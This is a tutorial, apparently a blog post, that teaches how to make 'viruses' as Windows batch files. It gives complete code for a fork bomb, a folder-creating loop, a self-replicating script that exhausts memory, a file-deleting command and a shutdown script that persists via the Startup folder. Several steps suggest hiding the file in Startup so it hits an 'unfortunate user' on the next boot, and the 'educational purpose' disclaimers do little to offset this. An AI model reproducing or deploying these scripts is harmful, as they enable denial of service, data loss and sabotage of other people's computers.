BATCH FILE TRICKS (PART II)

On the previous tutorial we have seen what batch files are and their use. In this tutorial am going to show you how to make virus using batch files. So, let’s start right away.

1.       FORK BOMB

Fork bomb is a denial-of-service attack wherein a process continually replicates itself to deplete available system resources, slowing down or crashing the system due to resource starvation (RAM occupation). Fork bomb operate both by consuming CPU time in the process of forking and by saturating the operating system’s process table. As said before a fork bomb is equivalent of a DOS attack on your own system. It aims depriving the system off its Random access memory, leaving none (nothing) for vital functions required to keep the system running, hence crashing it. The fork bomb is not deadly to computer.

Now all you need to do is open notepad and type the following code and save it as a batch file, that is with the extension of *.bat                                                                                                                    
 %0|%0

The above commands are the same for the following code:

:s                                                                                                                                                                                                                                                                                                                                                                           star%0                                                                                                                                                                                                         goto s                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  This code creates a large number of process very quickly. So, it will just hang(freezes) the windows.

2.       FOLDER BLASTER

The folder blaster virus is another type of batch file made for creating a bunch of folders, opening them all at once and keeping them open, effectively hogging a big portion of the screen and memory causing the windows to lag and freeze up. Like any other batch files, in order to make this batch file we are going to open notepad, type the following code and save it anyname.bat

@echo off

:x

md %random% // makes directory/folder.

goto x

Here %random% is variable that would generate a positive no. randomly. So, this code starts creating folders with random number.

3.       OVERLOADING MEMORY

Step 1: Open Notepad

Step 2: Type in the following code

@echo off

:A

SET /A x=%RANDOM%%%1999999999%

Type damage.bat >> %x%.bat

Start %x%.bat

goto:A

Step 3: Save this file as “*.bat” (if you want this file to be executed as a surprise for the unfortunate user who starts the computer on the next time we can put this file by going to start menu>start up folder.)

This batch file creates another batch file in the same directory, then copies itself into each of these newly created files. These files are then started up again and repeat the process until the computer runs out of memory and crashes (or the antivirus catches it). The batch file may or may not cause permanent damage. In both case, however, the computer will almost definitely crash, the operating system may become corrupted and prompt you with “Blue Screen of Death” on the next boot up.

Note: this file should not be executed or opened on your computer and for your own sake should never be performed. Because once you open the file your computer will immediately stop responding and may cause a permanent damage in addition to this there is also a possibility of losing data and also corruption of data. So don’t perform this on your computer this includes someone else’s PC.

This is only for educational purpose!!!

4.       WIPING OUT MEMORY

In the above tutorial we saw how to overload a computer. Here we are going to see how to wipe the whole data which is very short and easy to do.

Step 1: open Notepad

Step 2: Type del *.*

Now save the above file as *.bat (use any name that satisfy you). In the above command “del” is for deleting and “*.*” specifies the file to be deleted (* refers to no matter what the file’s name is, it will be deleted).

NOTE: This is only for educational purpose!! This is also quite dangerous. It will crash and wipe out the system as soon as the .bat file is executed.

5.       SHUTDOWN VIRUS

Copy anything.bat “c:\Documents and Settings\Administrator\Start menu\Programs\Startup”

Copy anything.bat “C:\Documents and Settings\All Users\Start Menu\Programs\Startup”

Shutdown –s –t 00

Now the above two commands will copy the files to start menu> startup folder (in XP), the startup folder path on windows 7 is “C:\Users\sys\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\startup” and the third command will shut down the computer in 0 seconds. When the unfortunate user starts the computer it will shutdown.

This can be undone by booting in safe mode or by booting in command prompt.

Hope this tutorial have helped you gain information about batch files and batch file viruses. What we covered in the above tutorials was very small portion, we barely scratched the surface about batch files and batch file viruses. So if you want to know more, then googling is always the best option out there. I too will keep posting and updating information about batch files but for now this is enough. Try to Learn more on yourself.